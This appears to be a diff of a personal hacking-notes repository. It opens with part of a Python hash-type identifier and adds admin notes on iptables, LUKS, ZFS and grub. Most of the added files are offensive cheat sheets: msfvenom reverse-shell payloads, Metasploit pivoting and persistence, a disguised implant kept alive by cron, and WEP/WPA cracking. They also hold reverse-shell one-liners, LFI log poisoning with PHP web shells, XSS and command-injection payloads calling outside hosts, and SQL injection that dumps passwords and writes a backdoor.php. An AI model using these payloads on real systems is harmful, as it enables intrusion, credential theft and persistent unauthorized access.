hs='2c740d20dab7f14ec30510a11f8fd78b82bc3a711abe8a993acdb323e78e6d5e'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115020")
def SHA256HMAC(hash):
hs='d3dd251b7668b8b6c12e639c681e88f2c9b81105ef41caccb25fcde7673a1132'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115120")
def Haval256(hash):
hs='7169ecae19a5cd729f6e9574228b8b3c91699175324e6222dec569d4281d4a4a'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115040")
def Haval256HMAC(hash):
hs='6aa856a2cfd349fb4ee781749d2d92a1ba2d38866e337a4a1db907654d4d4d7a'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115140")
def GOSTR341194(hash):
hs='ab709d384cce5fda0793becd3da0cb6a926c86a8f3460efb471adddee1c63793'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115060")
def RipeMD256(hash):
hs='5fcbe06df20ce8ee16e92542e591bdea706fbdc2442aecbf42c223f4461a12af'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115080")
def RipeMD256HMAC(hash):
hs='43227322be1b8d743e004c628e0042184f1288f27c13155412f08beeee0e54bf'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115160")
def SNEFRU256(hash):
hs='3a654de48e8d6b669258b2d33fe6fb179356083eed6ff67e27c5ebfa4d9732bb'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115100")
def SNEFRU256HMAC(hash):
hs='4e9418436e301a488f675c9508a2d518d8f8f99e966136f2dd7e308b194d74f9'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115180")
def SHA256md5pass(hash):
hs='b419557099cfa18a86d1d693e2b3b3e979e7a5aba361d9c4ec585a1a70c7bde4'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115200")
def SHA256sha1pass(hash):
hs='afbed6e0c79338dbfe0000efe6b8e74e3b7121fe73c383ae22f5b505cb39c886'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("115220")
def MD5passsaltjoomla2(hash):
hs='fb33e01e4f8787dc8beb93dac4107209:fxJUXVjYRafVauT77Cze8XwFrWaeAYB2'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[32:33].find(':')==0:
jerar.append("116020")
def SAM(hash):
hs='4318B176C3D8E3DEAAD3B435B51404EE:B7C899154197E8A2A33121D76A240AB5'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash.islower()==False and hash[32:33].find(':')==0:
jerar.append("116040")
def SHA256Django(hash):
hs='sha256$Zion3R$9e1a08aa28a22dfff722fad7517bae68a55444bb5e2f909d340767cec9acf2c3'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha256')==0:
jerar.append("117020")
def RipeMD320(hash):
hs='b4f7c8993a389eac4f421b9b3b2bfb3a241d05949324a8dab1286069a18de69aaf5ecc3c2009d8ef'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("118020")
def RipeMD320HMAC(hash):
hs='244516688f8ad7dd625836c0d0bfc3a888854f7c0161f01de81351f61e98807dcd55b39ffe5d7a78'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("118040")
def SHA384(hash):
hs='3b21c44f8d830fa55ee9328a7713c6aad548fe6d7a4a438723a0da67c48c485220081a2fbc3e8c17fd9bd65f8d4b4e6b'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("119020")
def SHA384HMAC(hash):
hs='bef0dd791e814d28b4115eb6924a10beb53da47d463171fe8e63f68207521a4171219bb91d0580bca37b0f96fddeeb8b'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("119040")
def SHA256s(hash):
hs='$6$g4TpUQzk$OmsZBJFwvy6MwZckPvVYfDnwsgktm2CckOlNJGy9HNwHSuHFvywGIuwkJ6Bjn3kKbB6zoyEjIYNMpHWBNxJ6g.'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:3].find('$6$')==0:
jerar.append("120020")
def SHA384Django(hash):
hs='sha384$Zion3R$88cfd5bc332a4af9f09aa33a1593f24eddc01de00b84395765193c3887f4deac46dc723ac14ddeb4d3a9b958816b7bba'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==False and hash[0:6].find('sha384')==0:
jerar.append("121020")
def SHA512(hash):
hs='ea8e6f0935b34e2e6573b89c0856c81b831ef2cadfdee9f44eb9aa0955155ba5e8dd97f85c73f030666846773c91404fb0e12fb38936c56f8cf38a33ac89a24e'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("122020")
def SHA512HMAC(hash):
hs='dd0ada8693250b31d9f44f3ec2d4a106003a6ce67eaa92e384b356d1b4ef6d66a818d47c1f3a2c6e8a9a9b9bdbd28d485e06161ccd0f528c8bbb5541c3fef36f'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("122060")
def Whirlpool(hash):
hs='76df96157e632410998ad7f823d82930f79a96578acc8ac5ce1bfc34346cf64b4610aefa8a549da3f0c1da36dad314927cebf8ca6f3fcd0649d363c5a370dddb'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("122040")
def WhirlpoolHMAC(hash):
hs='77996016cf6111e97d6ad31484bab1bf7de7b7ee64aebbc243e650a75a2f9256cef104e504d3cf29405888fca5a231fcac85d36cd614b1d52fce850b53ddf7f9'
if len(hash)==len(hs) and hash.isdigit()==False and hash.isalpha()==False and hash.isalnum()==True:
jerar.append("122080")
print(logo)
try:
first = str(argv[1])
except:
first = None
while True:
try:
jerar=[]
print("-"*50)
if first:
h = first
else:
h = input(" HASH: ")
ADLER32(h); CRC16(h); CRC16CCITT(h); CRC32(h); CRC32B(h); DESUnix(h); DomainCachedCredentials(h); FCS16(h); GHash323(h); GHash325(h); GOSTR341194(h); Haval128(h); Haval128HMAC(h); Haval160(h); Haval160HMAC(h); Haval192(h); Haval192HMAC(h); Haval224(h); Haval224HMAC(h); Haval256(h); Haval256HMAC(h); LineageIIC4(h); MD2(h); MD2HMAC(h); MD4(h); MD4HMAC(h); MD5(h); MD5APR(h); MD5HMAC(h); MD5HMACWordpress(h); MD5phpBB3(h); MD5Unix(h); MD5Wordpress(h); MD5Half(h); MD5Middle(h); MD5passsaltjoomla1(h); MD5passsaltjoomla2(h); MySQL(h); MySQL5(h); MySQL160bit(h); NTLM(h); RAdminv2x(h); RipeMD128(h); RipeMD128HMAC(h); RipeMD160(h); RipeMD160HMAC(h); RipeMD256(h); RipeMD256HMAC(h); RipeMD320(h); RipeMD320HMAC(h); SAM(h); SHA1(h); SHA1Django(h); SHA1HMAC(h); SHA1MaNGOS(h); SHA1MaNGOS2(h); SHA224(h); SHA224HMAC(h); SHA256(h); SHA256s(h); SHA256Django(h); SHA256HMAC(h); SHA256md5pass(h); SHA256sha1pass(h); SHA384(h); SHA384Django(h); SHA384HMAC(h); SHA512(h); SHA512HMAC(h); SNEFRU128(h); SNEFRU128HMAC(h); SNEFRU256(h); SNEFRU256HMAC(h); Tiger128(h); Tiger128HMAC(h); Tiger160(h); Tiger160HMAC(h); Tiger192(h); Tiger192HMAC(h); Whirlpool(h); WhirlpoolHMAC(h); XOR32(h); md5passsalt(h); md5saltmd5pass(h); md5saltpass(h); md5saltpasssalt(h); md5saltpassusername(h); md5saltmd5pass(h); md5saltmd5passsalt(h); md5saltmd5passsalt(h); md5saltmd5saltpass(h); md5saltmd5md5passsalt(h); md5username0pass(h); md5usernameLFpass(h); md5usernamemd5passsalt(h); md5md5pass(h); md5md5passsalt(h); md5md5passmd5salt(h); md5md5saltpass(h); md5md5saltmd5pass(h); md5md5usernamepasssalt(h); md5md5md5pass(h); md5md5md5md5pass(h); md5md5md5md5md5pass(h); md5sha1pass(h); md5sha1md5pass(h); md5sha1md5sha1pass(h); md5strtouppermd5pass(h); sha1passsalt(h); sha1saltpass(h); sha1saltmd5pass(h); sha1saltmd5passsalt(h); sha1saltsha1pass(h); sha1saltsha1saltsha1pass(h); sha1usernamepass(h); sha1usernamepasssalt(h); sha1md5pass(h); sha1md5passsalt(h); sha1md5sha1pass(h); sha1sha1pass(h); sha1sha1passsalt(h); sha1sha1passsubstrpass03(h); sha1sha1saltpass(h); sha1sha1sha1pass(h); sha1strtolowerusernamepass(h)
if len(jerar)==0:
print("\n Not Found.")
elif len(jerar)>2:
jerar.sort()
print("\nPossible Hashs:")
print("[+] "+str(algorithms[jerar[0]]))
print("[+] "+str(algorithms[jerar[1]]))
print("\nLeast Possible Hashs:")
for a in range(int(len(jerar))-2):
print("[+] "+str(algorithms[jerar[a+2]]))
else:
jerar.sort()
print("\nPossible Hashs:")
for a in range(len(jerar)):
print("[+] "+str(algorithms[jerar[a]]))
first = None
except KeyboardInterrupt:
print("\n\n\tBye!")
exit()

3
tools/v3das/_n 100755
View File

@ -0,0 +1,3 @@
#compdef n
_arguments "1: :( $(ls ~/.cryptozsh_tools/v3das/ ) )"

View File

@ -0,0 +1,6 @@
tl;dr the use of virtual env:
# #! /usr/bin/env python
# . venv/bin/activate

View File

@ -0,0 +1,42 @@
# mcabber is a great command line client to use for chat (XMPP) with authentication and encrytpion (OTR).
# The following comments and commands will help you to install and use it.
# Register your account
# Go to jit.si for example
# Create directory for mcabber config and OTR
mkdir -p .mcabber/otr
# Copy the sample configuration files
cp /usr/share/doc/mcabber/examples/mcabberrc.example.gz ~/.
# If the files does not exist, the path may be different.
# Like "/usr/share/doc/mcabber/mcabberrc.example"
# Unzip the configuration file and rename it
gunzip mcabberrc.example.gz
mv mcabberrc.example.gz .mcabberrc
# Correct the priviliges if needed
chmod 700 .mcabber/ -R
chmod 700 .mcabberrc
# Edit your configuration with the following settings:
vim .mcabberrc
set jid = testuser@jit.si
set otr = 1
# Start mcabber and login with the account you have registered
mcabber
# Basic commands
/add user@jit.si # Request someone for chat
/event 1 accept # To accept a request
# Using OTR
# It's recommended to add OTR by default policy to your config files
/otr key # Show your fingerprint
/otr fingerprint . "AAAA AAAA AAAA ...." # Trust someon's fingerprint
/otr fingerprint # Show fingerprints you have
/otr start # Start a conversation with OTR

View File

@ -0,0 +1,12 @@
# Start a live image, then reinstall grub.
fdisk -l
mount /dev/sda2 /mnt/
mount -t proc none /mnt/proc
mount -o bind /dev /mnt/dev
mount -t sysfs sys /mnt/sys
chroot /mnt/ /bin/bash
update-grub
/usr/sbin/grub-install --recheck --no-floppy /dev/sda
sync & reboot

View File

@ -0,0 +1,21 @@
#!/bin/bash
# Example iptables for workstation
IPT=/sbin/iptables
$IPT -F
#Policies
$IPT -P OUTPUT ACCEPT
$IPT -P INPUT DROP
$IPT -P FORWARD DROP
#Allow IN for services
$IPT -A INPUT --in-interface lo -j ACCEPT
#Allow response
$IPT -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
# Block ipv6, sorry lazy to set path, its a note :)
ip6tables -P INPUT DROP 2>/dev/null
ip6tables -P FORWARD DROP 2>/dev/null
ip6tables -P OUTPUT DROP 2>/dev/null

View File

@ -0,0 +1,23 @@
# CryptSetup for pendrive example
# Creation, make sure no CBC is used anymore!
cryptsetup -c aes -s 256 luksFormat /dev/sdb2
cryptsetup luksDump /dev/sdb2 # To check it!
cryptsetup luksOpen /dev/sde usb1
mkfs.vfat /dev/mapper/usb1 -n "usb1"
# Troubleshoot if needed
dmsetup ls
dmsetup ls
# Change Passphrse
cryptsetup -y luksAddKey ENCRYPTED_PARTITION
cryptsetup luksRemoveKey ENCRYPTED_PARTITION
# Mount and unmount
cryptsetup luksOpen /dev/sdb2 usb1
mount /dev/mapper/usb1 /mnt
umount /mnt/point

View File

@ -0,0 +1,64 @@
# How to create ZFS mirroring on Debian 7 / Old notes!
# Information were gathered from the following sites:
# http://zfsonlinux.org/debian.html
# http://www.zfsbuild.com/2010/06/03/howto-create-mirrored-vdev-zpool/
# http://allgood38.io/setting-up-a-basic-linux-zfs-instance.html
# https://help.ubuntu.com/community/encryptedZfs
# http://linux.arantius.com/installing-gentoo-into-a-luks-encrypted-zfs-root
#
# CheatSheet: http://lildude.co.uk/zfs-cheatsheet
# Get ZFS On Linux debian package, install it and add their GPG key to APT
su
wget http://archive.zfsonlinux.org/debian/pool/main/z/zfsonlinux/zfsonlinux_8_all.deb
dpkg -i zfsonlinux_8_all.deb
wget http://zfsonlinux.org/4D5843EA.asc -O - | apt-key add -
# Install ZFS using APT
apt-get update
apt-get install debian-zfs
# Create LUKS encrypted volumes
cryptsetup luksFormat /dev/sdc
cryptsetup luksFormat /dev/sdd
# Open luks encrypted devices - those will be mirrored
cryptsetup luksOpen /dev/sdc luk1
cryptsetup luksOpen /dev/sdd luk2
# Create the mirror pool using the opened luks devices
# WARNING
# THIS DESTROYES YOUR EXISTING POOL IF YOU ALREADY HAVE ONE!
zpool create -m none -O compression=lz4 m_pool mirror luk1 luk2
# -m mountpoint -O
# END OF CREATION
# Done!
# The following part is required for mounting/opening our ZFS mirror.
# Import the pool if it's not already
zpool import m_pool
# Mount it manually
zfs set mountpoint=/mpool m_pool
# Checks
zpool list
zpool iostat
zpool status
--------
# Finally change privileges if needed
chown -R storager:storager /mpool
# Create ZFS filesystem
zfs create tank/testfs
--------
# Destory
zpool destroy m_pool

View File

@ -0,0 +1,17 @@
# With "autoroute" it is possible to attack through the remote machine.
# Start handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.1.1.1
# Add route to which network you want to look into
run autoroute -s 10.2.2.0/24
run autoroute -p
# Scan
use auxiliary/scanner/portscan/tcp
set RHOSTS 10.2.2.0/24
set THREADS 50
set ports 20,21,22,25,53,69,80,139,443,445,993,8080

View File

@ -0,0 +1,126 @@
C0nn3ctz msfvenom payload backdoor veil
List payloads
msfvenom -l
# The script way to make life more simple
theip=0.0.0.0
theport=443
Binaries and libs
=================
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f elf > shell.elf
msfvenom -p linux/x64/shell/reverse_tcp LHOST=$theip LPORT=$theport -f elf > shell.elf
Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f exe > shell.exe
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=$theip LPORT=$theport -f exe -o shell.exe # STAGED, use this with msf
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=$theip LPORT=$theport -f exe -o shell.exe # NON-STAGED
msfvenom -p windows/x64/exec cmd="cmd /c calc.exe" -f dll > d3d9.dll
msfvenom -p windows/exec CMD="cmd /c calc.exe" -f dll > d3d9.dll
msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=$theip LPORT=$theport
Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$theip LPORT=$theport -f macho > shell.macho
Web Payloads
============
PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=$theip LPORT=$theport -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$theip LPORT=$theport -f raw > shell.jsp
WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$theip LPORT=$theport -f war > shell.war
JavaScript
msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=1 -f js_le
Scripting Payloads
==================
Python
msfvenom -p cmd/unix/reverse_python LHOST=$theip LPORT=$theport -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=$theip LPORT=$theport -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=$theip LPORT=$theport -f raw > shell.pl # For Linux
msfvenom -p cmd/windows/reverse_perl=$theip LPORT=$theport -f raw > shell.pl # For Windows
Shellcode
=========
For all shellcode see msfvenom help-formats for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Linux Based Shellcode
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f <language>
Windows Based Shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$theip LPORT=$theport -f <language>
msfvenom -p windows/shell/reverse_tcp LHOST=192.168.1.1 LPORT=443 -f c
msfvenom -p windows/shell/bind_tcp -f perl --smallest # Default port is 4444 and with --smallest msfvenom tries to make it small
Mac Based Shellcode
msfvenom -p osx/x86/shell_reverse_tcp LHOST=$theip LPORT=$theport -f <language>
Handler
=======
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
use exploit/multi/handler
set PAYLOAD cmd/windows/powershell_reverse_tcp
set LHOST 0.0.0.0
set LPORT 443
set ExitOnSession false
exploit -j -z
Once the required values are completed the following command will execute your handler msfconsole -L -r
Persistence
===========
meterpreter > run persistence
UUID Payload
============
# Create payload
msfvenom -p linux/x86/meterpreter/reverse_tcp_uuid LHOST=domainzz.com  LPORT=53 PayloadUUIDTracking=true PayloadUUIDName=HAXHAXHAXHAX -f elf > hipchat
# Setup msf listener
set payload linux/x86/meterpreter/reverse_tcp_uuid
set payloadUUIDName HAXHAXHAXHAX
set PayloadUUIDTracking true
run -j 
# Move to vict
cat hipchat.elf |ncat --ssl -lvp 53
nc --ssl domainzz.com 53 > /sbin/lister
chmod +x /sbin/lister
# crontab alternatively:
if ps aux|grep /sbin/hipchat |grep -v grep; then sleep 1 ; else /sbin/hipchat ; fi

View File

@ -0,0 +1,16 @@
#!/bin/bash
# Desktop example -> just like in the LWHP repo
IPT=/sbin/iptables
$IPT -F
#Policies
$IPT -P OUTPUT ACCEPT
$IPT -P INPUT DROP
$IPT -P FORWARD DROP
#Allow IN for services
$IPT -A INPUT --in-interface lo -j ACCEPT
#Allow response
$IPT -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

View File

@ -0,0 +1,7 @@
tcpdump -r file.cap -vvvs 1024 -l -A host example.com | grep -i cookie
tcpdump -r file.cap -vvvs 1024 -l -A | egrep -i "host:|cookie:"
tcpdump -r file.cap -s 1024 -l -A dst domain.com
tcpdump -A # show raw data

View File

@ -0,0 +1,11 @@
# tshark follow stream
tshark -r <capture file> -R "<filter>" -T fields -e tcp.stream
tshark -q -r http.pcapng -z follow,tcp,ascii,1
# etc
tshark grep from http
tshark -r file.cap 'http' | egrep -i "login|pass"
tshark 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'
tshark 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)' -R'http.request.method == "GET" || http.request.method == "HEAD"'

View File

@ -0,0 +1,37 @@
C0nn3ctz sniffing wireshark network
IP address
ip.addr == 192.168.1.1
ip.src == 192.168.1.1
ip.dst == 192.168.1.1
Show only tcp port 110
tcp.port eq 110
Show only tcp and udp port 110
tcp.port eq 110 || udp.port eq 110
Follow TCP stream
tcp.stream eq 0
Show only TCP
tcp
Show only ARP
arp
Show only HTTP
http
Show only HTTP or ARP
http||arp
HTTP and ip.src
http&&ip.src==192.168.1.4
HTTP POST
http:.request.method == "POST"
etc
(ip.addr==192.168.1.0/24) and (ip.src!=192.168.1.2)and (ip.dst!=192.168.1.4)

View File

@ -0,0 +1,7 @@
# reset a cisco switch
flash_init
dir flash:
rename flash:config.text flash:config.backup
boot

View File

@ -0,0 +1,75 @@
# cracking WEP with clients
airmon-ng start wlan0 $AP_CHANNEL
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $FILENAME mon0
aireplay-ng -1 0 -e $AP_ESSID -a $AP_MAC -h $SELF_MAC mon0 # Fake-auth
aireplay-ng -3 -b $AP_MAC -h $SELF_MAC mon0 # ARP Replay attack
aireplay-ng -0 1 -a $AP_MAC -c $CLIENT_MAC mon0 # Deauthentication to get an ARP packet faster
aircrack-ng -0 $CAP_FILE
# cracking WEP via a client
airmon-ng start wlan0 $AP_CHANNEL
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $FILENAME mon0
aireplay-ng -1 0 -e $AP_ESSID -a $AP_MAC -h $SELF_MAC mon0 # Fake auth
aireplay-ng -2 -b $AP_MAC -d FF:FF:FF:FF:FF:FF -f 1 -m 68 -n 86 mon0 # Interactive packet reply attack
aircrack-ng -0 -z -n 64 $CAP_FILE
# clientless WEP cracking
airmon-ng start wlan0 $AP_CHANNEL
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $FILENAME mon0
aireplay-ng -1 0 -e $AP_ESSID -a $AP_MAC -h $SELF_MAC mon0 # Fake-auth
aireplay-ng -5 -b $AP_MAC -h $SELF_MAC mon0 # Fragmentation attack for PRGA
aireplay-ng -4 -b $AP_MAC -h $SELF_MAC mon0 # If Frag attack fails, use Korek ChopChop attack for PRGA
packetforge-ng -0 -a $AP_MAC -h $SELF_MAC -l $SOURCE_IP -k $DESTINATION_IP -y $XOR_FILENAME -w $PACKET_FILENAME # After got PRGA
aireplay-ng -2 -r $PACKET_FILENAME mon0 # Interactive packet reply after crafted the packet
aircrack-ng -0 $CAP_FILE
# bypassing WEP SKA
airmon-ng start wlan0 $AP_CHANNEL
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $FILENAME mon0
aireplay-ng -0 1 -a $AP_MAC -c $CLIENT_MAC mon0 # Deauthentication attack for PRGA xor file
aireplay-ng -1 60 -e $AP_ESSID -y $PRGA_FILENAME -a $AP_MAC -h $SELF_MAC mon0 # Shared key fake auth attack
aireplay-ng -3 -b $AP_MAC -h $SELF_MAC mon0 # ARP Replay attack
aireplay-ng -0 1 -a $AP_MAC -c $CLIENT_MAC mon0 # Deauthentication to get an ARP packet faster
aircrack-ng -0 -z -n 64 $CAP_FILE
# cracking WPA PSK
airmon-ng start wlan0 $AP_CHANNEL
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $FILENAME mon0
aireplay-ng -0 1 -a $AP_MAC -c $CLIENT_MAC mon0 # Deauthentication to get a 4 way handshake
airacrack-ng -0 -w $WORDLIST $CAPTURE_FILE
# cracking WPA with John The Ripper
airmon-ng start wlan0 $AP_CHANNEL
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $FILENAME mon0
aireplay-ng -0 1 -a $AP_MAC -c $CLIENT_MAC mon0 # Deauthentication to get a 4 way handshake
# change to password folder
vim john.conf # Edit "List.Rules:Wordlist" --> add regex for more words eg. "$[0-9]$[0-9]"
./john --worldlist=$WORDLIST --rules --stdout | aircrack-ng -0 -e $AP_ESSID -w $CAPTURE_FILE
# cracking WPA with coWPAtty
airmon-ng start wlan0 $AP_CHANNEL
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $FILENAME mon0
aireplay-ng -0 1 -a $AP_MAC -c $CLIENT_MAC mon0 # Deauthentication to get a 4 way handshake
cowpatty -r $CAPTURE_FILE -f $WORDLIST -2 s $AP_ESSID
genpmk -f $WORDLIST -d HASH_FILENAME -s $AP_ESSID # Gen WPA hashes for rainbow attack
cowpatty -r $CAPTURE_FILE -d HASH_FILENAME -2 -s $AP_ESSID # Start the rainbow attack
# cracking WPA with pyrit
airmon-ng start wlan0 $AP_CHANNEL
airodump-ng -c $AP_CHANNEL --bssid $AP_MAC -w $FILENAME mon0
aireplay-ng -0 1 -a $AP_MAC -c $CLIENT_MAC mon0 # Deauthentication to get a 4 way handshake
pyrit list_cores
pyrit -r $CAPTURE_FILE -i $WORDLIST -b $AP_MAC attack_passthrough
pyrit -i $WORDLIST import_password # Import the wordlist to the database
pyrit -e $AP_ESSID create_essid # Add ESSID to the database
pyrit batch
pyrit -r $CAPTURE_FILE attack_db

View File

@ -0,0 +1,32 @@
Shell cheatsheet
================
Bash
bash -i >& /dev/tcp/HOST/PORT 0>&1?
Perl
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
PHP
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
nc
nc -e /bin/sh 10.0.0.1 1234
Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
More info and tips
http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
http://www.gnucitizen.org/blog/reverse-shell-with-bash/#comment-122387
http://unix.stackexchange.com/questions/116010/meaning-of-bash-i-dev-tcp-host-port-01

View File

@ -0,0 +1,41 @@
Local File Inclusion
====================
The %00 make php 5.3 and below ignore everything after that.
Testing: http://192.168.1.1/addguestbook.php?name=dfjfgjhytry&comment=&LANG=en../../../../../windows/system32/drivers/etc/hosts%00
...then let's add code to the access log :)
~# nc 192.168.1.1 80
<?php echo shell_exec($_GET['cmd']);?>
...and use it
http://192.168.1.1/addguestbook.php?name=dfjfgjhytry&comment=&cmd=ipconfig&LANG=en../../../../../../xampp/apache/logs/access.log%00
...or php shell on linux:)
<?php $s=fsockopen("10.0.0.1",1234);exec("sh<&3>&3 2>&3");?>
...finally send the requests to nc and exploit:
# Windows FTP upload
echo open 192.168.1.1 21 > ftp.txt && echo haxy>> ftp.txt && echo haxy >> ftp.txt && echo bin >> ftp.txt && echo GET nc.exe >> ftp.txt && echo bye >> ftp.txt && ftp -s:ftp.txt
nc.exe -e cmd.exe 192.168.1.1  31337
- - - - - - - -
<? system('echo open 192.168.1.1 21 > ftp.txt'); ?>
<? system('echo haxor >> ftp.txt'); ?>
<? system('echo haxor >> ftp.txt'); ?>
<? system('echo bin >> ftp.txt'); ?>
<? system('echo GET nc.exe >> ftp.txt'); ?>
<? system('echo bye >> ftp.txt'); ?>
<? system('ftp -s:ftp.txt'); ?>
<? system('nc.exe -e cmd.exe 192.168.1.1  31337'); ?>
<?php phpinfo()?>
<? system("cat /etc/passwd"); ?>
<?php echo shell_exec($_GET["cmd"]);?>
<?php include="124.1.1.1" ?>
Remote file Inclusion
=====================
Example: http://192.168.1.1/add.php?name=asdasd&LANG=http://192.168.1.1/login.txt%00
Note: the login.txt contains

View File

@ -0,0 +1,14 @@
XSS locator
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
XSS locator 2
'';!--"<XSS>=&{()}
<img src="//" onerror=alert(document.cookie);>
Other fuzzing char list
><>)()}{}][]'"`;--..\/\\//../~=-1!--?||*&&%00%0a%0d\r\n#><>}{}

View File

@ -0,0 +1,11 @@
PHP command injection
=====================
There are just some ideas.
<? system('apt-get install netcat -y'); ?>
<? system('netcat 14.5.1.44 8080'); ?>
<? system('wget http://14.5.1.44:8080/'); ?>
<? system('init 6'); ?>

View File

@ -0,0 +1,43 @@
SQLi notes
==========
Login bypass
any' or 1=1 limit 1 ;#
' OR '1' = '1 / ' OR '1' = '1
;# ;-- #
?id=737 order by 6 --> Testing max columns
?id=737 union select all 1,2,3,4,5,6 --> Testing max columns in database
?id=737 union select all 1,2,3,4,@@version,6 --> Version enumeration, commands to run or exploits?
?id=737 union select all 1,2,3,4,table_name,6 FROM information_schema.tables --> Table enumeration
?id=737 union select all 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='user' --> Column enumeration
?id=737 union select 1,2,3,4,concat(name,0x3a,password ),6 FROM users --> After knowing about "users" pull out the info
More examples
x%') #
x%') or 1=1 #
x%') order by 4 #
x%') union select all 4 #
x%') union select all 1,2,3@@version #
x%') and 1=1 #
x%') and UNION ALL SELECT LOAD_FILE(/etc/passwd) #
x%') and drop table if exists customers #
x%') and create database test #
x%') ; DROP ALL TABLES; #
@@hostname
wget -qO- http://www.site.com --user-agent=useragent --post-data="key=value"
Adding backdor.php
?id=737 union select all 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'
Getting a shell with php execute
